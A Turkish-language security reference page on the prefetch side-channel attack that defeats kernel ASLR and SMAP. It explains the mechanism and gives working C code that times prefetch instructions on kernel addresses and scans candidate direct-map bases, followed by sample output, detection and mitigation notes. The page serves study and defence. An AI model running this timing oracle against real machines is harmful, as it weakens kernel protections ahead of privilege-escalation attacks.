Prefetch Side-Channel Attack¶
x86 software-
prefetchinstruction'ları erişilemeyen kernel adresleri üzerinde fault vermeden işler ve yürütme süreleri hem bir adresin map'li olup olmadığını hem de hangi page-table seviyesinde olduğunu sızdırır — Kernel ASLR'yi etkisiz kılar ve SMAP altında bile direct-physical map'i konumlandırır.
Mechanism¶
Neden çalışır
prefetch ailesi (prefetcht0, prefetcht1, prefetcht2,
prefetchnta) bir hint'tir: CPU'dan bir line'ı cache'e doğru çekmesini
ister ama ayrıcalıklı veya unmapped bir adres için bile asla fault
vermez. Kritik olarak, bir line prefetch edilmeden önce CPU sanal adresi
page table'ları walk ederek translate etmelidir. Bundan iki gözlemlenebilir
invariant çıkar:
- Address-translation oracle —
prefetch'in aldığı süre, hedef sanal adresin physical memory'ye geçerli bir translation'ı olup olmadığına bağlıdır. Map'li bir adres (cache'lenmiş) translation/fetch'i hızlıca tamamlar; unmapped olan tamamlamaz. Instruction trap etmediği için, unprivileged bir process kernel adreslerini doğrudan prob'layabilir. - Translation-level oracle — latency ayrıca translation'ın hangi page-table seviyesinde (PTE / PMD / PUD / PGD) resolve olduğunu yansıtır, page boyutlarını ve kernel mapping'inin yapısını açığa çıkarır.
Belirleyici sonuç: Linux bir direct-physical map tutar (PAGE_OFFSET'te
tüm RAM'in 1:1 lineer bir map'i). Aday base aralığını prefetch-timing yaparak,
bir attacker o map'in nerede olduğunu bulur — yani KASLR'yi kırar — ve
bilinen bir physical adresi (ör. başka bir yolla elde edilmiş) onun kernel
sanal alias'ına geri çevirebilir. prefetch architectural bir erişim
yapmadığı için, SMAP/SMEP onu durdurmaz.
Walkthrough¶
Primitive bir kernel adresine yapılan bir prefetch'i zamanlar. Aday offset'ler
üzerinde tekrarla; minimum-latency'li offset gerçek mapping'tir.
// gcc -O2 prefetch_oracle.c -o po (x86-64)
#include <stdint.h>
#include <x86intrin.h> // __rdtscp, _mm_prefetch
static inline uint64_t time_prefetch(const void *p) {
unsigned aux;
uint64_t t0 = __rdtscp(&aux);
_mm_prefetch((const char *)p, _MM_HINT_T0); // prefetcht0; never faults
uint64_t t1 = __rdtscp(&aux);
return t1 - t0;
}
Direct-physical map'in KASLR'sini etkisiz kılmak için aligned aday base'leri tara ve en düşük medyan latency'yi al (caching bias'ını kaldırmak için aralarda flush yap):
// kernel direct map starts somewhere in [0xffff888000000000 .. ] aligned to 1 GiB
for (uint64_t off = 0; off < RANGE; off += (1ULL<<30)) {
void *addr = (void*)(DIRECTMAP_MIN + off);
uint64_t best = ~0ULL;
for (int i = 0; i < N; i++) {
_mm_clflush(addr); // remove residual caching
uint64_t t = time_prefetch(addr);
if (t < best) best = t;
}
record(off, best); // valley => real direct-map base
}
Sonucun beklenen biçimi — bir offset tutarlı şekilde daha hızlıdır (map'lidir):
offset 0x00000000 median ~241 cycles (unmapped / higher level)
offset 0x40000000 median ~240 cycles
offset 0x80000000 median ~181 cycles <-- direct-map base (KASLR defeated)
offset 0xC0000000 median ~242 cycles
Translation seviyelerini ayırt etme (translation-level oracle)
Warning
Sinyal yalnızca timing'e dayalı ve gürültülüdür; bir hit/miss eşiği kalibre et ve çok sayıda örnek üzerinde medyan kullan. Frequency scaling ve TLB state jitter ekler.
Detection¶
- Kernel adres aralıklarını tarayan sıkı
rdtscp+prefetchdöngüleri anormal bir davranışsal imzadır; aşırıclflush/prefetch retirement'ının performance-counter izlemesi bunu işaretleyebilir.
Mitigation¶
- Daha güçlü KASLR / KAISER-KPTI: kernel'i user page table'larından unmap etmek (bu paper'ın motive ettiği, KPTI olarak ship edilen KAISER çalışması) oracle'ın prob'ladığı kernel translation'larını user-mode address space'inden kaldırır.
- Mümkün olduğunda yüksek çözünürlüklü timer'ları /
rdtsc'yi kısıtla.
References¶
- Daniel Gruss, Clémentine Maurice, Anders Fogh, Moritz Lipp, Stefan Mangard. Prefetch Side-Channel Attacks: Bypassing SMAP and Kernel ASLR. ACM CCS 2016 — https://gruss.cc/files/prefetch.pdf